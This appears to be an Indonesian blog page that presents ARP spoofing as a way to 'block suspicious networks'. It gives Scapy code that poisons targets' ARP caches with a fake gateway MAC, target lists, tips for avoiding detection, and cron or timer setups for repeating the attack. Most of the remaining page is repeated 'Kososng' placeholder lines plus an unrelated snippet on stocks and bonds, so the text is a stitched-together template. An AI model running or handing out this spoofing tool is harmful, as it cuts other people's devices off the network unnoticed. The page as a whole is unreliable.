Deteksi dan Blokir Jaringan Mencurigakan Otomatis
📘 Topik Interaktif: Hover Biru Muda & Glow
📘 Topik Interaktif: Hover Biru Muda & Glow
📘 Topik Interaktif: Hover Biru Muda & Glow
Kososng
Kososng
📌 Kososng
Kosong
Kosong
Kosong
Kosong
Kosong
Kosong
Teknik ini memanfaatkan ARP spoofing untuk memblokir perangkat tertentu dalam jaringan lokal.
Caranya adalah dengan mengirim paket ARP palsu ke target sehingga mereka percaya bahwa gateway
(router) berada di alamat MAC yang salah (misalnya MAC palsu seperti 00:00:00:00:00:00).
Akibatnya, perangkat tidak bisa mengakses jaringan/internet karena lalu lintasnya dikirim ke alamat yang tidak ada (sinkhole).
Langkah kerja:
- Ambil alamat MAC dari target (fungsi
get_mac()). - Ambil IP gateway (fungsi
get_gateway_ip()). - Kirim paket ARP palsu yang menyatakan bahwa gateway kini berada di MAC address palsu.
- Target akan menyimpan entri ARP palsu itu dan lalu lintasnya tidak akan sampai ke gateway.
Contoh kode Python (menggunakan Scapy):
from scapy.all import ARP, send
def block_ip(ip, fake_mac="00:00:00:00:00:00"):
packet = ARP(
op=2, # ARP Reply
pdst=ip, # Target IP
hwdst=get_mac(ip), # Target MAC
psrc=get_gateway_ip(), # IP palsu: gateway
hwsrc=fake_mac # MAC palsu
)
send(packet, count=3, verbose=0)
Catatan: Pastikan script dijalankan dengan hak akses root/admin, interface dalam mode promiscuous, dan library Scapy sudah terinstal. Fungsi get_mac() dan get_gateway_ip() perlu Anda definisikan sendiri atau gunakan library tambahan.
Dalam proses pemindaian jaringan atau pengiriman ARP spoof, kita perlu mengecualikan IP tertentu agar:
- Menghindari gangguan pada perangkat penting atau milik sendiri (misalnya router, admin, server).
- Meningkatkan efisiensi proses spoofing atau scanning.
- Menghindari deteksi atau reaksi keamanan dari perangkat yang "waspada".
Solusinya:
whitelistatauignore_list: berisi daftar IP yang tidak boleh diproses (tidak dipindai dan tidak dispoof).blocklist(opsional): berisi daftar IP yang harus selalu diproses atau diblokir secara aktif.
Contoh struktur kode Python:
ignore_list = ["192.168.1.1", "192.168.1.100"] # IP yang diabaikan
blocklist = ["192.168.1.50"] # (Opsional) IP yang selalu diprioritaskan untuk diblokir
def should_process(ip):
if ip in ignore_list:
return False # Jangan proses
if blocklist and ip in blocklist:
return True # Selalu proses jika masuk blocklist
return True # Proses IP lainnya
# Contoh penggunaan saat scanning atau spoofing:
for ip in scan_range():
if should_process(ip):
spoof(ip)
Perlukah blocklist? Tidak wajib, tapi berguna jika Anda ingin memastikan IP tertentu selalu menjadi target spoofing atau pemantauan, misalnya untuk analisis lalu lintas spesifik atau mitigasi ancaman.
Tips: Simpan daftar ini dalam file eksternal atau gunakan parameter konfigurasi agar fleksibel dan mudah diubah tanpa edit kode utama.
Untuk mengotomatisasi eksekusi proses pemindaian atau ARP spoofing secara berkala, Anda dapat menggunakan beberapa metode tergantung sistem operasi dan kebutuhan:
- Python Internal:
threading.Timer,sched.scheduler - Linux:
cron,systemd timer - Windows: Task Scheduler
- Event-driven: Jalankan hanya saat ada aktivitas mencurigakan (misal: banyak ARP request, koneksi aneh, dsb.)
Contoh Python: Jalankan ulang setiap 1 jam menggunakan threading.Timer
import threading
def loop_berkala():
print("Menjalankan pemindaian atau spoofing...")
scan_semua() # Ganti dengan fungsi utama Anda
threading.Timer(3600, loop_berkala).start() # Ulang tiap 3600 detik (1 jam)
loop_berkala()
Alternatif waktu lainnya:
3600detik = 1 jam43200detik = 12 jam
Jika berbasis sistem:
- Cronjob (Linux):
0 * * * * /usr/bin/python3 /path/to/script.py # Setiap 1 jam 0 */12 * * * /usr/bin/python3 /path/to/script.py # Setiap 12 jam - Systemd timer: Lebih stabil dari cron untuk background service.
- Windows Task Scheduler: Buat task baru → Trigger → "Daily" atau "Every x hours".
Event-based trigger (lebih kompleks): Gunakan library seperti scapy atau pyshark untuk memantau lalu lintas dan hanya memicu spoof jika mendeteksi pola mencurigakan (misalnya flood ARP, scanning, atau koneksi baru dari IP asing).
Catatan: Gunakan log atau sistem notifikasi (misal tulis ke file/log, atau kirim alert ke Telegram/email) agar bisa memantau aktivitas auto-run ini.
Kososng
Kososng
Kososng
Kososng
Kososng
Kososng
Kososng
📌 Kososng.
Kososng.
Kososng.
📌 Kososng.
Kososng.
Kososngra.
📌 Kososng.
Kososng.
Kososng.
📌 Kososng.
Kososng.
Kososng.
📌 Kososng.
Kososng.
Kososng.
📌 Kososng.
Kososng.
Kososng.
📌 Penjelasan umum tentang investasi.
Saham adalah bukti kepemilikan suatu perusahaan.
Obligasi adalah surat utang yang diterbitkan oleh korporasi atau negara.
📌 Kososng
Kososng
Kososng
📌 Kososng
Kososng
Kososng
📌 Kososng
Kososng
Kososng
🏠 Kososng
Comments
Post a Comment